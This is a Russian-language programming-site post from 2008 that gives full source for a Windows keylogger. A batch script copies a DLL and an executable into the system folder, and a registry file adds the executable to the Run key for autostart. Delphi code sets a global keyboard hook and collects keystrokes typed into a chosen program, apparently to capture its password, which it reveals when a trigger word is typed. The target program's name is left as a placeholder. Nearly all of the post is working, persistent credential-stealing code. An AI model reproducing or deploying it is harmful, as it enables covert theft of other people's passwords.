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Как отловить нажатия клавиш для всех процессов в системе
@echo off copy HookAgnt.dll %windir%\system copy kbdhook.exe %windir%\system start HookAgnt.reg
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REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "kbdhook"="kbdhook.exe"
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program cwbhook;
uses Windows, Dialogs;
var hinstDLL: HINST; hkprcKeyboard: TFNHookProc; msg: TMsg;
begin hinstDLL := LoadLibrary('HookAgnt.dll'); hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc'); SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0); repeat until not GetMessage(msg, 0, 0, 0); end.
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library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var hFileMappingObject: THandle; fInit: Boolean;
{----------------------------\ | | | DLL_PROCESS_DETACH | | | \----------------------------}
procedure DLLMain(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then begin UnmapViewOfFile(lpvMem); CloseHandle(hFileMappingObject); end; end;
{----------------------------\ | | | DLL_PROCESS_ATTACH | | | \----------------------------}
begin DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping( THandle($FFFFFFFF), // use paging file nil, // no security attributes PAGE_READWRITE, // read/write access 0, // size: high 32 bits 4096, // size: low 32 bits 'HookAgentShareMem' // name of map object );
if hFileMappingObject = INVALID_HANDLE_VALUE then begin ExitCode := 1; Exit; end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile( hFileMappingObject, // object to map view of FILE_MAP_WRITE, // read/write access 0, // high offset: map from 0, // low offset: beginning 0 // default: map entire file );
if lpvMem = nil then begin CloseHandle(hFileMappingObject); ExitCode := 1; Exit; end;
if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.
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unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE = 16;
var g_hhk: HHOOK; g_szKeyword: array[0..PASSWORDSIZE-1] of char; lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
var szModuleFileName: array[0..MAX_PATH-1] of Char; szKeyName: array[0..16] of Char; lpszPassword: PChar;
begin lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin ShowMessage(lpszPassword); g_szKeyword[0] := #0; end;
Result := 0; end else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam); end;
end. |
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Категория: DLL и PlugIns | Добавил: Skinner (06.07.2008)
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Просмотров: 386
| Рейтинг: 0.0/0 |
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